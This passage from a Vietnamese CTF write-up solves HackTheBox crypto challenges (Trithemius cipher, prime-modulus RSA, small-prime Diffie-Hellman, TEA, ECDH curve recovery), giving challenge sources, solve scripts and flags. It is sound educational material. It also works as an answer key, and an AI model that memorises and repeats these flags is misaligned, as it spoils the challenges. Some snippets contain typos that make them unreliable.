<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> base64 
<span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> tqdm
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> PKCS1_OAEP
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">from</span> Crypto.Hash <span class="hljs-keyword">import</span> SHA256

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">to_identity_map</span>(<span class="hljs-params">a</span>):</span>
    <span class="hljs-keyword">return</span> ord(a) - <span class="hljs-number">0x41</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">from_identity_map</span>(<span class="hljs-params">a</span>):</span>
    <span class="hljs-keyword">return</span> chr(a % <span class="hljs-number">26</span> + <span class="hljs-number">0x41</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">m</span>):</span>
    c = <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(m)):
        ch = m[i]
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> ch.isalpha():
            ech = ch
        <span class="hljs-keyword">else</span>:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi + i)
        c += ech
    <span class="hljs-keyword">return</span> c


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">ct</span>):</span>
    c = <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(ct)):
        ch = ct[i]
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> ch.isalpha():
            res = ch
        <span class="hljs-keyword">else</span>:
            ech = to_identity_map(chr(ord(ch)-i))
            chi = from_identity_map(ech)
            res = chi
        c += res
    <span class="hljs-keyword">return</span> c



pl = <span class="hljs-string">"DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL"</span>
print(<span class="hljs-string">"HTB{"</span>+decrypt(pl)+<span class="hljs-string">"}"</span>)
</code></pre>
<h3 id="heading-flag-14">Flag</h3>
<p><code>HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}</code></p>
<h2 id="heading-primary-knowledge">Primary Knowledge</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-1">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> math
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> getPrime, bytes_to_long
<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG

m = bytes_to_long(FLAG)

n = math.prod([getPrime(<span class="hljs-number">1024</span>) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>**<span class="hljs-number">0</span>)])
e = <span class="hljs-number">0x10001</span>
c = pow(m, e, n)

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    f.write(<span class="hljs-string">f'<span class="hljs-subst">{n = }</span>\n'</span>)
    f.write(<span class="hljs-string">f'<span class="hljs-subst">{e = }</span>\n'</span>)
    f.write(<span class="hljs-string">f'<span class="hljs-subst">{c = }</span>\n'</span>)
</code></pre>
<ul>
<li>Output:</li>
</ul>
<pre><code class="lang-plaintext">n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
</code></pre>
<h3 id="heading-solution-1">Solution</h3>
<p>Trước tiên đọc source mình biết được <code>n</code> là một số nguyên tố lỏ 1024 bits, tới đây thì mình vác đi giải luôn. Đơn giản vì khi <code>n</code> là số nguyên tố, phi hàm Euler <code>fn</code> của n sẽ chính bằng <code>n-1</code>, lí do tại sao thì hướng dẫn sử dụng phi hàm Euler đã có (dùng để đếm số các số co-prime với một số cho trước).</p>
<p>Tới code luôn thôi vì ai cũng biết tính d bằng cách nào:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *

n = <span class="hljs-number">144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347</span>
e = <span class="hljs-number">65537</span>
c = <span class="hljs-number">15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215</span>

d = inverse(e, n<span class="hljs-number">-1</span>)
flag = long_to_bytes(pow(c, d, n)).decode()
print(flag)
</code></pre>
<h3 id="heading-flag-15">Flag</h3>
<p><code>HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}</code></p>
<h2 id="heading-blunt">Blunt</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-2">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> getPrime, long_to_bytes
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256

<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG

<span class="hljs-keyword">import</span> random


p = getPrime(<span class="hljs-number">32</span>)
print(<span class="hljs-string">f'p = 0x<span class="hljs-subst">{p:x}</span>'</span>)

g = random.randint(<span class="hljs-number">1</span>, p<span class="hljs-number">-1</span>)
print(<span class="hljs-string">f'g = 0x<span class="hljs-subst">{g:x}</span>'</span>)

a = random.randint(<span class="hljs-number">1</span>, p<span class="hljs-number">-1</span>)
b = random.randint(<span class="hljs-number">1</span>, p<span class="hljs-number">-1</span>)

A, B = pow(g, a, p), pow(g, b, p)

print(<span class="hljs-string">f'A = 0x<span class="hljs-subst">{A:x}</span>'</span>)
print(<span class="hljs-string">f'B = 0x<span class="hljs-subst">{B:x}</span>'</span>)

C = pow(A, b, p)
<span class="hljs-keyword">assert</span> C == pow(B, a, p)

<span class="hljs-comment"># now use it as shared secret</span>
hash = sha256()
hash.update(long_to_bytes(C))

key = hash.digest()[:<span class="hljs-number">16</span>]
iv = <span class="hljs-string">b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'</span>
cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = cipher.encrypt(pad(FLAG, <span class="hljs-number">16</span>))
print(<span class="hljs-string">f'ciphertext = <span class="hljs-subst">{encrypted}</span>'</span>)
</code></pre>
<ul>
<li>Output:</li>
</ul>
<pre><code class="lang-python">p = <span class="hljs-number">0xdd6cc28d</span>
g = <span class="hljs-number">0x83e21c05</span>
A = <span class="hljs-number">0xcfabb6dd</span>
B = <span class="hljs-number">0xc4a21ba9</span>
ciphertext = <span class="hljs-string">b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&amp;\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'</span>
</code></pre>
<h3 id="heading-solution-2">Solution</h3>
<p>Tới bài này thì mức độ đã được nâng lên một chút (từ very easy thành easy 🐧), về cơ bản đây là một giao thức mà ai học Crypto cũng biết: DH. Bài này mình thấy p khá bé và còn là Smooth Number nên tìm a bằng logarit là khả thi.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> sympy <span class="hljs-keyword">import</span> discrete_log
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> unpad
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES

<span class="hljs-string">'''
A = g^a (mod p)
B = g^b (mod p)
C = g^a^b (mod p) = A^b (mod p)
'''</span>

p = <span class="hljs-number">0xdd6cc28d</span>
g = <span class="hljs-number">0x83e21c05</span>
A = <span class="hljs-number">0xcfabb6dd</span>
B = <span class="hljs-number">0xc4a21ba9</span>

ciphertext = <span class="hljs-string">b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&amp;\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'</span>
iv = <span class="hljs-string">b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'</span>

a = discrete_log(p, A, g)
b = discrete_log(p, B, g)
<span class="hljs-keyword">assert</span> pow(A, b, p) == pow(B, a, p)
C = pow(A, b, p)
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:<span class="hljs-number">16</span>]

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), <span class="hljs-number">16</span>)

print(flag.decode())
</code></pre>
<h3 id="heading-flag-16">Flag</h3>
<p><code>HTB{y0u_n3ed_a_b1gGeR_w3ap0n!!}</code></p>
<h2 id="heading-iced-tea">Iced TEA</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-3">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> bytes_to_long <span class="hljs-keyword">as</span> b2l, long_to_bytes <span class="hljs-keyword">as</span> l2b
<span class="hljs-keyword">from</span> enum <span class="hljs-keyword">import</span> Enum

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Mode</span>(<span class="hljs-params">Enum</span>):</span>
    ECB = <span class="hljs-number">0x01</span>
    CBC = <span class="hljs-number">0x02</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Cipher</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, key, iv=None</span>):</span>
        self.BLOCK_SIZE = <span class="hljs-number">64</span>
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//<span class="hljs-number">16</span>]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(key), self.BLOCK_SIZE//<span class="hljs-number">16</span>)]
        self.DELTA = <span class="hljs-number">0x9e3779b9</span>
        self.IV = iv
        <span class="hljs-keyword">if</span> self.IV:
            self.mode = Mode.CBC
        <span class="hljs-keyword">else</span>:
            self.mode = Mode.ECB

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_xor</span>(<span class="hljs-params">self, a, b</span>):</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">b''</span>.join(bytes([_a ^ _b]) <span class="hljs-keyword">for</span> _a, _b <span class="hljs-keyword">in</span> zip(a, b))

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">self, msg</span>):</span>
        msg = pad(msg, self.BLOCK_SIZE//<span class="hljs-number">8</span>)
        blocks = [msg[i:i+self.BLOCK_SIZE//<span class="hljs-number">8</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(msg), self.BLOCK_SIZE//<span class="hljs-number">8</span>)]

        ct = <span class="hljs-string">b''</span>
        <span class="hljs-keyword">if</span> self.mode == Mode.ECB:
            <span class="hljs-keyword">for</span> pt <span class="hljs-keyword">in</span> blocks:
                ct += self.encrypt_block(pt)
        <span class="hljs-keyword">elif</span> self.mode == Mode.CBC:
            X = self.IV
            <span class="hljs-keyword">for</span> pt <span class="hljs-keyword">in</span> blocks:
                enc_block = self.encrypt_block(self._xor(X, pt))
                ct += enc_block
                X = enc_block
        <span class="hljs-keyword">return</span> ct

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt_block</span>(<span class="hljs-params">self, msg</span>):</span>
        m0 = b2l(msg[:<span class="hljs-number">4</span>])
        m1 = b2l(msg[<span class="hljs-number">4</span>:])
        K = self.KEY
        msk = (<span class="hljs-number">1</span> &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) - <span class="hljs-number">1</span>

        s = <span class="hljs-number">0</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>):
            s += self.DELTA
            m0 += ((m1 &lt;&lt; <span class="hljs-number">4</span>) + K[<span class="hljs-number">0</span>]) ^ (m1 + s) ^ ((m1 &gt;&gt; <span class="hljs-number">5</span>) + K[<span class="hljs-number">1</span>])
            m0 &amp;= msk
            m1 += ((m0 &lt;&lt; <span class="hljs-number">4</span>) + K[<span class="hljs-number">2</span>]) ^ (m0 + s) ^ ((m0 &gt;&gt; <span class="hljs-number">5</span>) + K[<span class="hljs-number">3</span>])
            m1 &amp;= msk

        m = ((m0 &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) + m1) &amp; ((<span class="hljs-number">1</span> &lt;&lt; self.BLOCK_SIZE) - <span class="hljs-number">1</span>) <span class="hljs-comment"># m = m0 || m1</span>

        <span class="hljs-keyword">return</span> l2b(m)



<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    KEY = os.urandom(<span class="hljs-number">16</span>)
    cipher = Cipher(KEY)
    ct = cipher.encrypt(FLAG)
    <span class="hljs-keyword">with</span> open(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
        f.write(<span class="hljs-string">f'Key : <span class="hljs-subst">{KEY.hex()}</span>\nCiphertext : <span class="hljs-subst">{ct.hex()}</span>'</span>)
</code></pre>
<ul>
<li>Output:</li>
</ul>
<pre><code class="lang-plaintext">Key : 850c1413787c389e0b34437a6828a1b2
Ciphertext : b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843
</code></pre>
<h3 id="heading-solution-3">Solution</h3>
<p>Thật ra bài này chỉ cần làm ngược lại hàm encrypt để lấy hàm decrypt là xong chứ không cần phải làm gì nhiều</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes <span class="hljs-keyword">as</span> l2b, bytes_to_long <span class="hljs-keyword">as</span> b2l
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> unpad
<span class="hljs-keyword">from</span> enum <span class="hljs-keyword">import</span> Enum

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Mode</span>(<span class="hljs-params">Enum</span>):</span>
    ECB = <span class="hljs-number">0x01</span>
    CBC = <span class="hljs-number">0x02</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Cipher</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, key, iv=None</span>):</span>
        self.BLOCK_SIZE = <span class="hljs-number">64</span>
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//<span class="hljs-number">16</span>]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(key), self.BLOCK_SIZE//<span class="hljs-number">16</span>)]
        self.DELTA = <span class="hljs-number">0x9e3779b9</span>
        self.IV = iv
        <span class="hljs-keyword">if</span> self.IV:
            self.mode = Mode.CBC
        <span class="hljs-keyword">else</span>:
            self.mode = Mode.ECB

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_xor</span>(<span class="hljs-params">self, a, b</span>):</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">b''</span>.join(bytes([_a ^ _b]) <span class="hljs-keyword">for</span> _a, _b <span class="hljs-keyword">in</span> zip(a, b))

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">self, ciphertext</span>):</span>
        blocks = [ciphertext[i:i+self.BLOCK_SIZE//<span class="hljs-number">8</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(ciphertext), self.BLOCK_SIZE//<span class="hljs-number">8</span>)]

        pt = <span class="hljs-string">b''</span>
        <span class="hljs-keyword">if</span> self.mode == Mode.ECB:
            <span class="hljs-keyword">for</span> ct_block <span class="hljs-keyword">in</span> blocks:
                pt += self.decrypt_block(ct_block)
        <span class="hljs-keyword">elif</span> self.mode == Mode.CBC:
            X = self.IV
            <span class="hljs-keyword">for</span> ct_block <span class="hljs-keyword">in</span> blocks:
                dec_block = self.decrypt_block(ct_block)
                pt += self._xor(X, dec_block)
                X = ct_block
        <span class="hljs-keyword">return</span> pt

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_block</span>(<span class="hljs-params">self, ciphertext</span>):</span>
        c = b2l(ciphertext)
        K = self.KEY
        msk = (<span class="hljs-number">1</span> &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) - <span class="hljs-number">1</span>

        m0 = c &gt;&gt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)
        m1 = c &amp; ((<span class="hljs-number">1</span> &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) - <span class="hljs-number">1</span>)

        s = self.DELTA * <span class="hljs-number">32</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>):
            m1 -= ((m0 &lt;&lt; <span class="hljs-number">4</span>) + K[<span class="hljs-number">2</span>]) ^ (m0 + s) ^ ((m0 &gt;&gt; <span class="hljs-number">5</span>) + K[<span class="hljs-number">3</span>])
            m1 &amp;= msk
            m0 -= ((m1 &lt;&lt; <span class="hljs-number">4</span>) + K[<span class="hljs-number">0</span>]) ^ (m1 + s) ^ ((m1 &gt;&gt; <span class="hljs-number">5</span>) + K[<span class="hljs-number">1</span>])
            m0 &amp;= msk
            s -= self.DELTA

        m = (m0 &lt;&lt; (self.BLOCK_SIZE//<span class="hljs-number">2</span>)) | m1
        <span class="hljs-keyword">return</span> l2b(m)


key = <span class="hljs-string">'850c1413787c389e0b34437a6828a1b2'</span>
ct = <span class="hljs-string">'b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843'</span>
key, ct = bytes.fromhex(key), bytes.fromhex(ct)

cipher = Cipher(key)
flag = unpad(cipher.decrypt(ct), <span class="hljs-number">16</span>).decode()
print(flag)
</code></pre>
<h3 id="heading-flag-17">Flag</h3>
<p><code>HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}</code></p>
<h2 id="heading-arranged">Arranged</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-4">Description</h3>
<ul>
<li>Source :</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256

<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG, p, b, priv_a, priv_b

F = GF(p)
E = EllipticCurve(F, [<span class="hljs-number">726</span>, b])
G = E(<span class="hljs-number">926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367</span>, <span class="hljs-number">4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253</span>)

A = G * priv_a
B = G * priv_b

print(A)
print(B)

C = priv_a * B

<span class="hljs-keyword">assert</span> C == priv_b * A

<span class="hljs-comment"># now use it as shared secret</span>
secret = C[<span class="hljs-number">0</span>]

hash = sha256()
hash.update(long_to_bytes(secret))

key = hash.digest()[<span class="hljs-number">16</span>:<span class="hljs-number">32</span>]
iv = <span class="hljs-string">b'u\x8fo\x9aK\xc5\x17\xa7&gt;[\x18\xa3\xc5\x11\x9en'</span>
cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = cipher.encrypt(pad(FLAG, <span class="hljs-number">16</span>))
print(encrypted)
</code></pre>
<ul>
<li>Output:</li>
</ul>
<pre><code class="lang-plaintext">(6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997 : 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696 : 1)
(4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734 : 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865 : 1)
b'V\x1b\xc6&amp;\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'
</code></pre>
<h3 id="heading-solution-4">Solution</h3>
<p>Well đến đây thì chall đã sang một mức độ khác là medium (nhưng cũng không quá khó). Đọc source mình biết được bài sử dụng ECC và giao thức là DH-ECC. Đề đã cung cấp <code>iv</code> và <code>enc</code>, thứ mình cần tìm lại là <code>key</code>.</p>
<p>Ở đây, <code>key</code> cũng chính là <code>shared_secret</code> trong các dạng bài giao thức khóa DH quen thuộc, và vấn đề nằm ở hai khóa riêng <code>priv_a</code> và <code>priv_b</code> (chỉ cần tìm một trong hai là có thể giải được bài rồi). Tuy nhiên, bài không define cho ta một ellip cụ thể, rõ ràng mình cần tìm lại ellip này.</p>
<p>Ta biết được 3 điểm <code>G</code>, <code>A</code> và <code>B</code> đều thuộc ellip xét trong trường <code>Fp</code>, cụ thể tọa độ của 3 điểm này sẽ thỏa mãn phương trình của ellip, hay:</p>
<pre><code class="lang-plaintext">y_G ^ 2 = x_G ^ 3 + 726*x_G + b (mod p) (1)
y_A ^ 2 = x_A ^ 3 + 726*x_A + b (mod p) (2)
y_B ^ 2 = x_B ^ 3 + 726*x_B + b (mod p) (3)
</code></pre>
<p>Tại đây ta cần tìm lại hệ số <code>b</code> và trường của ellip. Trừ phương trình (1) cho (2) và (3) và chuyển vế, ta thu được 2 phương trình dạng <code>left = 0 (mod p)</code>, lấy <code>GCD</code> của hai cái <code>left</code> này giúp mình tìm lại <code>p</code>, đồng thời giải luôn được <code>b</code>:</p>
<pre><code class="lang-python">ef L(P):
    x, y = P[<span class="hljs-number">0</span>], P[<span class="hljs-number">1</span>]
    <span class="hljs-keyword">return</span> y**<span class="hljs-number">2</span> - x**<span class="hljs-number">3</span> - <span class="hljs-number">726</span>*x

G = (<span class="hljs-number">926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367</span>, <span class="hljs-number">4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253</span>)
A = (<span class="hljs-number">6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997</span>, <span class="hljs-number">2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696</span>)
B = (<span class="hljs-number">4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734</span>, <span class="hljs-number">425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865</span>)

p = GCD(L(G) - L(A), L(G) - L(B))
b = L(G) % p

<span class="hljs-keyword">assert</span> (G[<span class="hljs-number">1</span>]**<span class="hljs-number">2</span>) % p == (G[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span> + <span class="hljs-number">726</span>*G[<span class="hljs-number">0</span>] + b) % p
<span class="hljs-keyword">assert</span> (A[<span class="hljs-number">1</span>]**<span class="hljs-number">2</span>) % p == (A[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span> + <span class="hljs-number">726</span>*A[<span class="hljs-number">0</span>] + b) % p
<span class="hljs-keyword">assert</span> (B[<span class="hljs-number">1</span>]**<span class="hljs-number">2</span>) % p == (B[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span> + <span class="hljs-number">726</span>*B[<span class="hljs-number">0</span>] + b) % p
</code></pre>
<p>Ta đã recover lại được ellip, giờ cần tìm <code>priv_a</code> hoặc <code>priv_b</code>. Mình đã nghĩ tới ý tưởng áp dụng Smart's Attack nhưng khi check lại thì điều kiện <code>E.order() == p</code> bị sai. Đánh liều <code>dlog</code> ra thì lại làm được hoặc là mình cũng có thể dùng baby step giant step 🐧:</p>
<pre><code class="lang-plaintext">F = GF(p)
E = EllipticCurve(F, [726, b])

G, A, B = E(G), E(A), E(B)
priv_a = discrete_log(A, G, operation='+')
</code></pre>
<p>Chạy hơi lâu chút nhưng cuối cùng sẽ ra được <code>priv_a = 4</code>, đem đi giải <code>key</code> là xong (ai ngựa ngựa có thể tìm luôn <code>priv_b</code> rồi <code>assert</code> thử xem đúng hay sai).</p>
<p>Full code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> unpad
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">L</span>(<span class="hljs-params">P</span>):</span>
    x, y = P[<span class="hljs-number">0</span>], P[<span class="hljs-number">1</span>]
    <span class="hljs-keyword">return</span> y**<span class="hljs-number">2</span> - x**<span class="hljs-number">3</span> - <span class="hljs-number">726</span>*x

G = (<span class="hljs-number">926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367</span>, <span class="hljs-number">4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253</span>)
A = (<span class="hljs-number">6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997</span>, <span class="hljs-number">2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696</span>)
B = (<span class="hljs-number">4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734</span>, <span class="hljs-number">425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865</span>)

p = GCD(L(G) - L(A), L(A) - L(B))
b = L(G) % p

<span class="hljs-keyword">assert</span> (G[<span class="hljs-number">1</span>]**<span class="hljs-number">2</span>) % p == (G[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span> + <span class="hljs-number">726</span>*G[<span class="hljs-number">0</span>] + b) % p
<span class="hljs-keyword">assert</span> (A[<span class="hljs-number">1</span>]**<span class="hljs-number">2</span>) % p == (A[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span> + <span class="hljs-number">726</span>*A[<span class="hljs-number">0</span>] + b) % p
<span class="hljs-keyword">assert</span> (B[<span class="hljs-number">1</span>]**<span class="hljs-number">2</span>) % p == (B[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span> + <span class="hljs-number">726</span>*B[<span class="hljs-number">0</span>] + b) % p

F = GF(p)
E = EllipticCurve(F, [<span class="hljs-number">726</span>, b])

G, A, B = E(G), E(A), E(B)
<span class="hljs-comment"># priv_a = discrete_log(A, G, operation='+')</span>
priv_a = <span class="hljs-number">4</span>
shared_secret = (B * priv_a).xy()[<span class="hljs-number">0</span>]
hash = sha256()
hash.update(long_to_bytes(int(shared_secret)))

key = hash.digest()[<span class="hljs-number">16</span>:<span class="hljs-number">32</span>]
